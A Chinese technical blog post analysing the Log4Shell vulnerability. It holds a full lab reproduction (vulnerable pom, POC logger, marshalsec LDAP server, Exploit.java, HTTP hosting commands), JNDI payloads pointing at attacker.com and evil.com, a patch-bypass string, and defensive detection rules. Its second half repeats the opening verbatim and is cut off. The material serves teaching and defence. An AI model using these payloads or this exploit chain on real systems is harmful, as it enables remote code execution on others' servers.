1. 项目概述一次“核弹级”漏洞的深度复盘2021年底当安全圈的朋友半夜给我发来“Log4j2出事了赶紧看看”的消息时我正为一个线上服务的诡异日志头疼。起初我以为又是哪个中间件的小毛病直到我亲手在测试环境敲下那行如今看来“臭名昭著”的${jndi:ldap://attacker.com/exp}并亲眼看到计算器Calculator从服务器桌面上弹出来时我才真正意识到问题的严重性。这绝不是普通的漏洞CVE-2021-44228后来被大家戏称为“Log4Shell”它像一颗投入Java生态湖面的巨石激起的涟漪几乎波及了每一个角落。简单来说这个漏洞源于Apache Log4j2这个Java日志框架中的一个功能特性——Lookup特别是其中的JNDI Lookup。攻击者可以通过构造一条特殊的日志消息诱使应用程序在记录日志时去远程加载并执行恶意代码。想象一下你只是在日志里记录了一个来自用户输入的用户名比如${jndi:ldap://evil.com/a}如果你的系统使用了存在漏洞的Log4j2版本这条日志记录动作就会变成一个远程代码执行的触发器。其可怕之处在于Log4j2的普及程度堪比Java世界的“水电煤”从大型互联网公司的后端服务到各类中间件、开发框架甚至一些物联网设备都可能中招。这篇文章我将从一个一线开发兼运维的视角带你彻底拆解这个漏洞。我们不止于复现步骤更要深入代码层面理解漏洞产生的根本原因分析官方补丁的演进与局限并分享我在应急响应和后续架构思考中的一些实战经验。无论你是开发者、安全工程师还是运维人员理解这个漏洞的来龙去脉对于构建更安全的软件开发和部署体系都至关重要。2. 核心原理深度拆解从日志记录到远程代码执行要理解Log4Shell我们必须先抛开“漏洞”这个令人紧张的词回到Log4j2这个工具本身的设计初衷。它的核心任务是记录日志而一个优秀的日志框架除了记录静态文本往往还需要能动态地嵌入一些运行时信息比如环境变量、系统属性、线程上下文数据等。这就是Lookup功能的用武之地。2.1 Log4j2 Lookup 机制便利的双刃剑Lookup翻译过来就是“查找”。在Log4j2中它允许你在日志配置或日志消息中通过一种特殊的语法${prefix:key}来引用动态值。例如${java:runtime}可以获取Java运行时信息。${env:USER}可以获取系统环境变量中的USER值。${ctx:userId}可以获取当前线程上下文ThreadContext中存放的userId。这功能非常方便开发者无需在代码里拼接字符串就能让日志内容丰富多彩。而JNDI Lookup正是其中一种它的前缀是jndi。其设计本意可能是为了在复杂的J2EE环境中方便地从JNDI目录服务如LDAP服务器、RMI注册表中获取配置信息并输出到日志。例如理论上你可以通过${jndi:java:comp/env/jdbc/MyDB}来记录当前使用的数据源JNDI名称。这里就埋下了第一个隐患日志内容的“活性”。日志消息不再仅仅是待输出的字符串而是一个可能包含“可执行指令”的模板。Log4j2在输出日志前需要对这些指令进行解析和求值。2.2 JNDI 与 JNDI 注入通往远程的桥梁JNDIJava Naming and Directory Interface是Java提供的一个统一API用于访问各种命名和目录服务比如LDAP、DNS、RMI注册表等。你可以把它理解为一个“对象电话簿”你通过一个名字如java:comp/env/jdbc/MyDB去查找lookup它返回给你这个名-字背后绑定的对象如一个DataSource实例。问题出在JNDI的一个特性上它支持从远程地址动态加载类。当JNDI客户端我们的应用程序向一个恶意的JNDI服务端如攻击者控制的LDAP服务器发起查询时服务端可以返回一个“引用”Reference这个引用指向一个远程的.class文件URL。如果客户端的环境满足一定条件具体来说是com.sun.jndi.ldap.object.trustURLCodebase等系统属性在旧版本JDK中默认为true客户端就会自动从该URL下载class文件加载到本地JVM并实例化。这个过程是自动的且发生在InitialContext.lookup()方法内部。而实例化一个类就会执行其静态代码块和构造函数。攻击者只需要编写一个恶意类在静态代码块里放入执行任意命令的代码如Runtime.getRuntime().exec(“calc”)然后将这个类的编译文件托管在Web服务器上最后通过JNDI引用指向它即可。2.3 漏洞触发链一次完美的“里应外合”现在我们将Lookup的“活性”和JNDI的“远程加载”特性结合起来漏洞链条就清晰了输入注入攻击者找到一个应用程序的输入点这个输入最终会被Log4j2记录到日志中。这个点可能非常多HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至数据库里存储的、后续会被日志记录的数据。日志记录触发应用程序代码如LOGGER.info(“User login: {}”, username)执行其中username被替换为攻击者 payload${jndi:ldap://attacker.com:1389/Exploit}。Lookup解析Log4j2在渲染这条日志消息时识别出${}模式并交给StrSubstitutor处理。StrSubstitutor提取出jndi:ldap://attacker.com:1389/Exploit再交给Interpolator。JNDI Lookup执行Interpolator找到JndiLookup实现类调用其lookup方法。该方法最终调用了InitialContext.lookup(“ldap://attacker.com:1389/Exploit”)。远程类加载与执行JNDI客户端向attacker.com:1389的LDAP服务器发起查询。恶意LDAP服务器返回一个Reference指向http://attacker.com/Exploit.class。客户端下载该类并实例化触发静态代码块中的恶意命令从而完成远程代码执行。这个链条之所以危险是因为它将“数据”通道日志变成了“代码”执行通道并且触发点日志记录在业务代码中极为普遍几乎防不胜防。实操心得理解“信任边界”的坍塌在安全设计中有一个核心概念叫“信任边界”。用户输入的数据是“不可信”的在进入系统核心逻辑如业务处理、数据库操作、命令执行前必须经过严格的验证和净化。然而日志系统通常被视为一个内部、可信的辅助组件其输入即日志消息往往被认为已经过业务逻辑处理是“可信”或“中性”的。Log4Shell漏洞彻底打破了这种假设它证明即便是日志系统这样的基础设施如果其输入源包含了未经验证的外部数据并且自身具备“解释执行”的能力那么信任边界就在这里出现了致命的裂缝。这提醒我们需要对所有能够解析或执行动态内容的组件模板引擎、表达式解析器、脚本解释器等保持最高警惕无论它们看起来多么底层或无害。3. 漏洞复现与环境搭建亲手引爆“核弹”理解了原理最好的巩固方式就是亲手复现。下面我将带你搭建一个最小化的复现环境。请注意所有操作请在隔离的虚拟机或实验环境中进行切勿在生产环境或任何联网的真实机器上尝试。3.1 环境准备与依赖配置我们首先需要一个存在漏洞的Log4j2版本。这里选择2.14.1这是漏洞影响范围内一个非常常见的版本。1. 创建Maven项目你可以使用IDE或者命令行创建一个简单的Maven项目。pom.xml的关键依赖如下dependencies dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.1/version !-- 漏洞版本 -- /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.14.1/version /dependency /dependencies2. JDK版本选择这是复现成功的关键之一。因为高版本JDK8u191, 7u201, 6u211默认设置了com.sun.jndi.ldap.object.trustURLCodebasefalse禁止从远程Codebase加载类。为了复现经典的利用方式我们需要使用一个较早的JDK 8版本例如JDK 8u181。你可以在Oracle官网或Adoptium找到历史版本。3. 编写漏洞POC代码创建一个简单的Java类用于触发漏洞。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2POC { // 使用漏洞版本的Log4j2 private static final Logger logger LogManager.getLogger(Log4j2POC.class); public static void main(String[] args) { // 模拟攻击者控制的输入 String maliciousInput ${jndi:ldap://127.0.0.1:1389/Exploit}; // 记录日志触发漏洞 logger.error(Received input: {}, maliciousInput); } }3.2 搭建恶意LDAP服务器由于我们复现的是LDAP利用方式需要启动一个恶意的LDAP服务器它会响应客户端的查询并返回指向恶意类的引用。这里我们使用一个广泛用于安全研究的工具marshalsec。1. 获取并编译 marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。2. 编写恶意类 Exploit.java这个类将在目标服务器上被执行。public class Exploit { static { try { // 弹出一个计算器作为攻击成功的证明Linux/Mac命令可能不同 String os System.getProperty(os.name).toLowerCase(); String cmd os.contains(win) ? calc.exe : /usr/bin/gnome-calculator; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }将其编译为Exploit.classjavac Exploit.java3. 启动HTTP服务托管恶意类在Exploit.class所在目录启动一个简单的HTTP服务器端口设为8000。python3 -m http.server 80004. 启动恶意LDAP服务器使用 marshalsec 启动一个LDAP引用服务器它监听1389端口并将所有查询指向我们HTTP服务器上的Exploit.class。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 13893.3 执行与现象观察现在环境已经就绪恶意LDAP服务器在127.0.0.1:1389运行。恶意类HTTP服务在127.0.0.1:8000运行。漏洞POC程序准备就绪。运行Log4j2POC的main方法。如果一切配置正确你将看到POC程序控制台输出日志可能包含错误信息因为JNDI查找失败了但这发生在恶意代码执行之后。更重要的是一个计算器程序会在你的桌面上弹出来。这个过程清晰地演示了一个普通的日志记录操作如何因为一个特殊的输入导致程序从远程下载并执行了任意代码。注意事项复现失败的常见原因JDK版本过高这是最常见的原因。确保使用 JDK 8u181 或更早的版本。可以通过java -version确认。高版本JDK默认免疫了远程类加载但漏洞本身依然存在只是利用方式需要改变如利用本地ClassPath中已有的类进行利用即“绕过”。网络连接问题确保LDAP服务器和HTTP服务器的IP、端口可被POC程序访问。在复现时建议全部使用127.0.0.1避免防火墙干扰。Log4j2配置问题默认配置下Lookup功能是开启的。但某些配置如使用%m而非%msg可能不会触发解析。确保你的log4j2.xml或默认配置支持消息内容的Lookup。最简单的测试就是直接使用logger.error(“${java:runtime}”)看是否能输出Java运行时信息。恶意类编译版本确保Exploit.class的编译版本与运行POC的JVM版本兼容。4. 源码级原理追踪漏洞触发链的代码漫步复现成功让我们看到了现象但作为开发者我们更需要深入代码看清每一步是如何发生的。下面我们沿着漏洞触发链看看关键代码片段。4.1 日志渲染的入口MessagePatternConverter当调用logger.error(“Received input: {}”, maliciousInput)时Log4j2需要将消息模板和参数合并。最终消息字符串会交给MessagePatternConverter.format()方法处理。在这个方法中它会检查消息中是否包含${这个子串。关键逻辑如果消息包含$它会调用StrSubstitutor.replace()方法对消息进行替换处理。StrSubstitutor是Apache Commons Lang库中的一个类用于处理字符串中的变量替换。正是这里将日志消息从“静态文本”转向了“动态解析”。4.2 变量解析核心StrSubstitutor与InterpolatorStrSubstitutor会遍历消息寻找${和}包裹的变量表达式。当它找到jndi:ldap://127.0.0.1:1389/Exploit后会调用其内部的resolveVariable()方法。resolveVariable()方法会委托给一个StrLookup类型的解析器去查找。在Log4j2中这个解析器就是Interpolator类的一个实例。Interpolator维护着一个MapString, StrLookup里面注册了各种Lookup实现比如java,env,ctx,jndi等。Interpolator.lookup()方法会根据冒号前的前缀jndi找到对应的JndiLookup实例然后调用其lookup()方法并将冒号后的部分ldap://127.0.0.1:1389/Exploit作为参数传入。4.3 JNDI查找的执行JndiLookup与JndiManagerJndiLookup.lookup()方法非常简单它直接调用JndiManager.lookup(name)。JndiManager是Log4j2封装的一个JNDI操作工具类。在漏洞版本2.14.1的JndiManager.lookup()方法中几乎没有任何安全检查。它直接获取一个JNDI初始上下文InitialContext然后调用context.lookup(name)其中name就是攻击者传入的完整JNDI URL。// Log4j 2.14.1 中 JndiManager.lookup 的简化逻辑 public synchronized T T lookup(final String name) throws NamingException { if (this.context null) { return null; } // 直接进行 lookup没有对 name 进行任何过滤或校验 return (T) this.context.lookup(name); }至此攻击者提供的字符串被原封不动地递给了JDK的JNDI服务接口后续的远程类加载就由JDK的JNDI实现来完成了。Log4j2在这里完全扮演了一个“传话筒”的角色但它没有对这个“话筒”里传来的内容做任何危险性评估。4.4 JDK层面的执行InitialContext.lookupInitialContext.lookup(“ldap://127.0.0.1:1389/Exploit”)是JDK标准库中的方法。它根据URL协议ldap找到对应的LDAP上下文工厂然后向指定的LDAP服务器发起查询。当恶意LDAP服务器返回一个Reference对象且客户端JVM满足条件低版本JDK或相关安全属性被开启时JDK就会从Reference指定的codebaseURL即我们的http://127.0.0.1:8000/下载Exploit.class加载并实例化。漏洞根源总结功能设计层面Log4j2为了灵活性提供了动态解析日志内容中${}表达式的功能Lookup并将用户输入直接代入解析流程。安全控制缺失在实现JNDI Lookup时没有对用户可控的输入即JNDI URL进行任何白名单过滤或协议限制允许任意协议LDAP、RMI等和任意地址的JNDI查询。默认配置危险该功能在默认配置下是启用的且与日志记录这个高频操作绑定极大扩大了攻击面。5. 官方补丁演进与绕过史一场攻防拉锯战漏洞爆发后Apache Log4j2团队迅速响应发布了一系列补丁版本。分析这些补丁的演进就像观看一场精彩的攻防战也能给我们带来深刻的安全设计启示。5.1 第一道防线2.15.0-rc1 的白名单限制在第一个正式修复版本2.15.0-rc1中修复的核心位于JndiManager.lookup()方法。补丁引入了三个关键的白名单机制allowedProtocols允许的协议默认只允许java、ldap、ldaps三种协议。禁用了rmi等协议。allowedHosts允许的主机对于LDAP/LDAPS协议默认只允许本地主机localhost、127.0.0.1等。allowedClasses允许的类对于LDAP/LDAPS协议返回的Reference对象其类名必须在白名单内。默认白名单只包含一些Java基础类如String、Number等不包含任何可执行危险代码的类。补丁逻辑伪代码public synchronized T T lookup(final String name) throws NamingException { try { URI uri new URI(name); // 尝试将输入解析为URI if (uri.getScheme() ! null) { // 1. 检查协议是否允许 if (!allowedProtocols.contains(uri.getScheme().toLowerCase())) { LOGGER.warn(Protocol not allowed: {}, uri.getScheme()); return null; } // 2. 如果是LDAP检查主机是否允许 if (isLdapScheme(uri.getScheme())) { if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn(Host not allowed: {}, uri.getHost()); return null; } // 3. 如果是LDAP检查返回的类是否允许 // ... (在后续实际lookup后检查className) } } // 通过检查执行原始lookup return (T) this.context.lookup(name); } catch (URISyntaxException ex) { // 注意这里捕获了异常但什么也没做 // 在rc1中这里会继续执行下面的 lookup(name) } }这个补丁的思路是“限制”通过白名单大幅收窄攻击面。但它存在一个致命的逻辑缺陷。5.2 首次绕过利用URI解析异常安全研究人员很快发现rc1补丁的检查逻辑依赖于URI uri new URI(name);这行代码。如果传入的name不是一个合法的URI格式就会抛出URISyntaxException。关键在于catch 块的处理在rc1中捕获异常后代码没有返回null或抛出错误而是静默地继续执行了this.context.lookup(name)。攻击者可以构造一个对URI构造函数不合法、但对JNDI上下文 lookup 合法的字符串。例如${jndi:ldap://127.0.0.1:1389/ exp}注意1389/和exp之间有一个空格new URI(“ldap://127.0.0.1:1389/ exp”)会因空格抛出URISyntaxException。但context.lookup(“ldap://127.0.0.1:1389/ exp”)在某些LDAP服务实现中可能是合法的或服务端容错处理了空格。这样攻击就绕过了所有白名单检查直达lookup方法。这个绕过方案凸显了“异常处理安全”的重要性。5.3 紧急修复2.15.0-rc2 与 2.16.0 的终极方案针对rc1的绕过rc2版本迅速修复了异常处理的逻辑在catch块中直接返回null拒绝处理任何无法解析为合法URI的JNDI名称。catch (URISyntaxException ex) { // rc2修复出现异常直接返回null拒绝服务 LOGGER.warn(Invalid JNDI URI - {}, name, ex); return null; }然而攻防并未停止。后续又出现了基于其他向量如低版本JDK下利用本地ClassPath中已有危险类的绕过方式。这促使Log4j2团队在2.16.0 版本做出了一个更彻底的决定默认完全禁用 JNDI Lookup 功能。在2.16.0中JndiLookup类被标记为deprecated并且在默认配置下lookup方法直接返回输入的字符串本身不再进行任何JNDI查询。用户必须通过显式设置系统属性log4j2.enableJndiLookuptrue来启用它但这被强烈警告。这是一个重要的安全设计范式转变当一项功能的默认安全风险极高且大部分用户不需要它时最安全的做法就是默认关闭它。实操心得补丁策略与风险决策从Log4j2的补丁演进中我们可以学到几点“默认安全”原则2.16.0的“默认禁用”是“默认安全”原则的体现。在设计系统时应将安全特性作为默认选项危险特性需要用户显式开启。输入验证的完整性rc1的绕过源于验证逻辑的漏洞——异常处理路径成了“后门”。安全校验必须覆盖所有可能的代码路径特别是错误和异常处理流程。安全领域有个原则叫“Fail Securely”安全地失败即当发生异常时系统应进入一个安全的状态如拒绝访问而不是绕过安全检查。白名单优于黑名单rc1采用了白名单机制方向是对的但实现不完整。在安全策略中白名单只允许已知好的通常比黑名单禁止已知坏的更有效因为坏人总能找到你没想到的“坏”东西。漏洞修复的持久战对于一个广泛使用的基础组件修复一个深层次的架构性漏洞往往不是一蹴而就的。需要做好发布多个补丁、应对各种绕过手段的准备。作为使用者不能打了第一个补丁就高枕无忧需要密切关注官方通告和后续版本。6. 企业级应急响应与长期防护实战当Log4j2漏洞爆发时我所在团队的应急响应流程经历了严峻考验。下面分享一些实战经验涵盖从紧急处置到长期加固的全过程。6.1 紧急处置止血与排查第一步快速确认影响范围资产盘点立即梳理所有Java应用、中间件Kafka, Elasticsearch, Solr, Flink等、开发框架Spring Boot, Struts等以及第三方依赖库。重点排查对外提供HTTP/API服务的组件。版本检测使用扫描工具如OWASP Dependency-Check, Trivy或脚本快速检测所有组件中Log4j-core和Log4j-api的版本。影响范围是2.0-beta9 version 2.14.1。线上流量监控在WAF、网关或应用层日志中紧急添加规则监控包含${jndi:、${ctx:、${env:等模式的请求。这是发现是否已被攻击的关键。第二步立即缓解Mitigation在无法立即升级所有应用的情况下必须采取临时缓解措施设置系统属性对于JDK 11.0.1、8u191、7u201、6u211可以设置-Dlog4j2.formatMsgNoLookupstrue。注意这个属性在2.10.0到2.14.1版本有效且不是所有利用方式都依赖消息Lookup。移除JndiLookup类一个更暴利但有效的方法是从log4j-core的JAR包中删除org/apache/logging/log4j/core/lookup/JndiLookup.class文件。这可以直接禁用JNDI功能。# 示例命令具体路径根据实际jar包调整 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class环境变量设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同系统属性。WAF/网关规则紧急部署规则拦截所有包含${、}等可疑模式的请求。但要注意误杀和编码绕过。第三步制定升级计划缓解措施只是临时止血根本解决方案是升级Log4j2。目标版本升级至2.17.0 或更高版本2.16.0虽禁用JNDI但后续又发现了新的DoS漏洞CVE-2021-45105。升级挑战间接依赖很多应用不直接依赖Log4j2而是通过Spring Boot、Hadoop、Kafka等传递依赖。需要检查Maven的dependency:tree或Gradle的依赖报告使用exclusions或依赖管理强制指定版本。兼容性高版本Log4j2的API和配置可能与旧版有细微差别需充分测试。修复验证升级后需验证漏洞是否真正修复。可以编写简单的测试用例尝试触发JNDI Lookup确认其已被禁用或安全限制。6.2 长期防护与架构思考Log4j2漏洞给所有技术团队上了一课软件供应链安全至关重要。建立软件物料清单SBOM清晰掌握应用中每一个直接和间接依赖的组件、版本及其许可证。工具如CycloneDX、SPDX可以帮助生成SBOM。自动化依赖漏洞扫描将漏洞扫描如使用GitHub Dependabot, GitLab Dependency Scanning, Sonatype Nexus IQ, Snyk集成到CI/CD流水线中对每次构建进行扫描及时发现并预警新漏洞。最小权限与沙箱化JVM安全策略考虑使用Java安全管理器SecurityManager或更现代的模块系统JPMS来限制应用程序的权限例如禁止执行外部进程、限制网络访问等。虽然配置复杂但对于核心应用是值得的。容器化与隔离将应用运行在容器中利用容器的命名空间、cgroups等机制进行资源隔离和权限限制。即使应用被攻破也能将影响限制在单个容器内。纵深防御网络层严格限制服务器出站连接。大多数业务服务器不需要主动向外发起LDAP/RMI连接。通过防火墙或安全组策略禁止非必要的出站流量可以阻断大部分JNDI注入攻击的回连。运行时保护考虑使用RASP运行时应用自保护技术在应用内部监控危险行为如JNDI调用、反射调用ClassLoader、执行命令等并进行实时阻断。安全开发规范谨慎使用动态功能在代码审查中对使用表达式解析、动态类加载、反射、反序列化、模板渲染等功能的代码保持警惕。输入净化对所有外部输入进行严格的验证和净化。对于日志记录一个简单的规则是记录日志前对用户输入进行编码或过滤移除${和}等特殊字符序列。但这只是防御一层不能完全依赖。依赖项主动管理定期评估和升级依赖移除不再使用的库优先选择活跃维护、安全响应及时的社区项目。6.3 常见问题排查实录在应急响应中我们遇到了各种各样的问题这里记录几个典型场景问题1升级后应用启动报错NoClassDefFoundError或NoSuchMethodError。原因通常是传递依赖冲突。A库依赖了log4j-core 2.13.3而你的项目显式声明了2.17.0但A库的某些代码调用了2.13.3中已被移除或修改的方法。排查运行mvn dependency:tree -Dincludesorg.apache.logging.log4j查看完整的依赖树。使用exclusion排除传递进来的旧版本。解决在顶级pom的dependencyManagement中强制指定所有Log4j2组件的版本或者使用Maven的dependencyManagement和 Gradle的resolutionStrategy统一版本。问题2使用了Spring Boot如何确定和升级其内嵌的Log4j2版本原因Spring Boot通过spring-boot-starter-log4j2管理Log4j2依赖。解决查看Spring Boot官方发布的 安全公告 他们会说明每个Spring Boot版本对应的Log4j2版本。升级Spring Boot父POM的版本或者在你的项目中显式覆盖Log4j2的版本属性properties log4j2.version2.17.1/log4j2.version /properties然后更新spring-boot-starter-log4j2依赖。问题3线上有大量历史设备/遗留系统无法快速升级JDK或Log4j2怎么办这是最现实的问题。除了前述的缓解措施可以考虑网络层封堵这是最有效的一环。在边界防火墙或主机防火墙上严格限制这些设备只能访问必要的内网服务如数据库、内网API禁止所有非必要的出站互联网访问特别是到任意地址的LDAP(389,636)、RMI(1099)等端口。主机层控制如果可能使用系统防火墙如iptables或安全组进一步限制出站连接。应用层代理如果应用必须访问外部服务强制其通过一个可审计、可过滤的代理出去在代理层做规则限制。风险接受与监控明确这部分资产的风险并加强对其的监控和异常行为检测。Log4j2漏洞事件是一次对整个软件行业的严峻警示。它告诉我们安全是一个系统性工程需要贯穿于设计、开发、依赖管理、部署和运维的全生命周期。作为技术人员我们不仅要学会如何应急更要从中汲取教训将“安全左移”的理念融入日常工作中构建更具韧性的系统。
1. 项目概述一次“核弹级”漏洞的深度复盘2021年底当安全圈的朋友半夜给我发来“Log4j2出事了赶紧看看”的消息时我正为一个线上服务的诡异日志头疼。起初我以为又是哪个中间件的小毛病直到我亲手在测试环境敲下那行如今看来“臭名昭著”的${jndi:ldap://attacker.com/exp}并亲眼看到计算器Calculator从服务器桌面上弹出来时我才真正意识到问题的严重性。这绝不是普通的漏洞CVE-2021-44228后来被大家戏称为“Log4Shell”它像一颗投入Java生态湖面的巨石激起的涟漪几乎波及了每一个角落。简单来说这个漏洞源于Apache Log4j2这个Java日志框架中的一个功能特性——Lookup特别是其中的JNDI Lookup。攻击者可以通过构造一条特殊的日志消息诱使应用程序在记录日志时去远程加载并执行恶意代码。想象一下你只是在日志里记录了一个来自用户输入的用户名比如${jndi:ldap://evil.com/a}如果你的系统使用了存在漏洞的Log4j2版本这条日志记录动作就会变成一个远程代码执行的触发器。其可怕之处在于Log4j2的普及程度堪比Java世界的“水电煤”从大型互联网公司的后端服务到各类中间件、开发框架甚至一些物联网设备都可能中招。这篇文章我将从一个一线开发兼运维的视角带你彻底拆解这个漏洞。我们不止于复现步骤更要深入代码层面理解漏洞产生的根本原因分析官方补丁的演进与局限并分享我在应急响应和后续架构思考中的一些实战经验。无论你是开发者、安全工程师还是运维人员理解这个漏洞的来龙去脉对于构建更安全的软件开发和部署体系都至关重要。2. 核心原理深度拆解从日志记录到远程代码执行要理解Log4Shell我们必须先抛开“漏洞”这个令人紧张的词回到Log4j2这个工具本身的设计初衷。它的核心任务是记录日志而一个优秀的日志框架除了记录静态文本往往还需要能动态地嵌入一些运行时信息比如环境变量、系统属性、线程上下文数据等。这就是Lookup功能的用武之地。2.1 Log4j2 Lookup 机制便利的双刃剑Lookup翻译过来就是“查找”。在Log4j2中它允许你在日志配置或日志消息中通过一种特殊的语法${prefix:key}来引用动态值。例如${java:runtime}可以获取Java运行时信息。${env:USER}可以获取系统环境变量中的USER值。${ctx:userId}可以获取当前线程上下文ThreadContext中存放的userId。这功能非常方便开发者无需在代码里拼接字符串就能让日志内容丰富多彩。而JNDI Lookup正是其中一种它的前缀是jndi。其设计本意可能是为了在复杂的J2EE环境中方便地从JNDI目录服务如LDAP服务器、RMI注册表中获取配置信息并输出到日志。例如理论上你可以通过${jndi:java:comp/env/jdbc/MyDB}来记录当前使用的数据源JNDI名称。这里就埋下了第一个隐患日志内容的“活性”。日志消息不再仅仅是待输出的字符串而是一个可能包含“可执行指令”的模板。Log4j2在输出日志前需要对这些指令进行解析和求值。2.2 JNDI 与 JNDI 注入通往远程的桥梁JNDIJava Naming and Directory Interface是Java提供的一个统一API用于访问各种命名和目录服务比如LDAP、DNS、RMI注册表等。你可以把它理解为一个“对象电话簿”你通过一个名字如java:comp/env/jdbc/MyDB去查找lookup它返回给你这个名-字背后绑定的对象如一个DataSource实例。问题出在JNDI的一个特性上它支持从远程地址动态加载类。当JNDI客户端我们的应用程序向一个恶意的JNDI服务端如攻击者控制的LDAP服务器发起查询时服务端可以返回一个“引用”Reference这个引用指向一个远程的.class文件URL。如果客户端的环境满足一定条件具体来说是com.sun.jndi.ldap.object.trustURLCodebase等系统属性在旧版本JDK中默认为true客户端就会自动从该URL下载class文件加载到本地JVM并实例化。这个过程是自动的且发生在InitialContext.lookup()方法内部。而实例化一个类就会执行其静态代码块和构造函数。攻击者只需要编写一个恶意类在静态代码块里放入执行任意命令的代码如Runtime.getRuntime().exec(“calc”)然后将这个类的编译文件托管在Web服务器上最后通过JNDI引用指向它即可。2.3 漏洞触发链一次完美的“里应外合”现在我们将Lookup的“活性”和JNDI的“远程加载”特性结合起来漏洞链条就清晰了输入注入攻击者找到一个应用程序的输入点这个输入最终会被Log4j2记录到日志中。这个点可能非常多HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至数据库里存储的、后续会被日志记录的数据。日志记录触发应用程序代码如LOGGER.info(“User login: {}”, username)执行其中username被替换为攻击者 payload${jndi:ldap://attacker.com:1389/Exploit}。Lookup解析Log4j2在渲染这条日志消息时识别出${}模式并交给StrSubstitutor处理。StrSubstitutor提取出jndi:ldap://attacker.com:1389/Exploit再交给Interpolator。JNDI Lookup执行Interpolator找到JndiLookup实现类调用其lookup方法。该方法最终调用了InitialContext.lookup(“ldap://attacker.com:1389/Exploit”)。远程类加载与执行JNDI客户端向attacker.com:1389的LDAP服务器发起查询。恶意LDAP服务器返回一个Reference指向http://attacker.com/Exploit.class。客户端下载该类并实例化触发静态代码块中的恶意命令从而完成远程代码执行。这个链条之所以危险是因为它将“数据”通道日志变成了“代码”执行通道并且触发点日志记录在业务代码中极为普遍几乎防不胜防。实操心得理解“信任边界”的坍塌在安全设计中有一个核心概念叫“信任边界”。用户输入的数据是“不可信”的在进入系统核心逻辑如业务处理、数据库操作、命令执行前必须经过严格的验证和净化。然而日志系统通常被视为一个内部、可信的辅助组件其输入即日志消息往往被认为已经过业务逻辑处理是“可信”或“中性”的。Log4Shell漏洞彻底打破了这种假设它证明即便是日志系统这样的基础设施如果其输入源包含了未经验证的外部数据并且自身具备“解释执行”的能力那么信任边界就在这里出现了致命的裂缝。这提醒我们需要对所有能够解析或执行动态内容的组件模板引擎、表达式解析器、脚本解释器等保持最高警惕无论它们看起来多么底层或无害。3. 漏洞复现与环境搭建亲手引爆“核弹”理解了原理最好的巩固方式就是亲手复现。下面我将带你搭建一个最小化的复现环境。请注意所有操作请在隔离的虚拟机或实验环境中进行切勿在生产环境或任何联网的真实机器上尝试。3.1 环境准备与依赖配置我们首先需要一个存在漏洞的Log4j2版本。这里选择2.14.1这是漏洞影响范围内一个非常常见的版本。1. 创建Maven项目你可以使用IDE或者命令行创建一个简单的Maven项目。pom.xml的关键依赖如下dependencies dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.1/version !-- 漏洞版本 -- /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.14.1/version /dependency /dependencies2. JDK版本选择这是复现成功的关键之一。因为高版本JDK8u191, 7u201, 6u211默认设置了com.sun.jndi.ldap.object.trustURLCodebasefalse禁止从远程Codebase加载类。为了复现经典的利用方式我们需要使用一个较早的JDK 8版本例如JDK 8u181。你可以在Oracle官网或Adoptium找到历史版本。3. 编写漏洞POC代码创建一个简单的Java类用于触发漏洞。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2POC { // 使用漏洞版本的Log4j2 private static final Logger logger LogManager.getLogger(Log4j2POC.class); public static void main(String[] args) { // 模拟攻击者控制的输入 String maliciousInput ${jndi:ldap://127.0.0.1:1389/Exploit}; // 记录日志触发漏洞 logger.error(Received input: {}, maliciousInput); } }3.2 搭建恶意LDAP服务器由于我们复现的是LDAP利用方式需要启动一个恶意的LDAP服务器它会响应客户端的查询并返回指向恶意类的引用。这里我们使用一个广泛用于安全研究的工具marshalsec。1. 获取并编译 marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。2. 编写恶意类 Exploit.java这个类将在目标服务器上被执行。public class Exploit { static { try { // 弹出一个计算器作为攻击成功的证明Linux/Mac命令可能不同 String os System.getProperty(os.name).toLowerCase(); String cmd os.contains(win) ? calc.exe : /usr/bin/gnome-calculator; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }将其编译为Exploit.classjavac Exploit.java3. 启动HTTP服务托管恶意类在Exploit.class所在目录启动一个简单的HTTP服务器端口设为8000。python3 -m http.server 80004. 启动恶意LDAP服务器使用 marshalsec 启动一个LDAP引用服务器它监听1389端口并将所有查询指向我们HTTP服务器上的Exploit.class。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 13893.3 执行与现象观察现在环境已经就绪恶意LDAP服务器在127.0.0.1:1389运行。恶意类HTTP服务在127.0.0.1:8000运行。漏洞POC程序准备就绪。运行Log4j2POC的main方法。如果一切配置正确你将看到POC程序控制台输出日志可能包含错误信息因为JNDI查找失败了但这发生在恶意代码执行之后。更重要的是一个计算器程序会在你的桌面上弹出来。这个过程清晰地演示了一个普通的日志记录操作如何因为一个特殊的输入导致程序从远程下载并执行了任意代码。注意事项复现失败的常见原因JDK版本过高这是最常见的原因。确保使用 JDK 8u181 或更早的版本。可以通过java 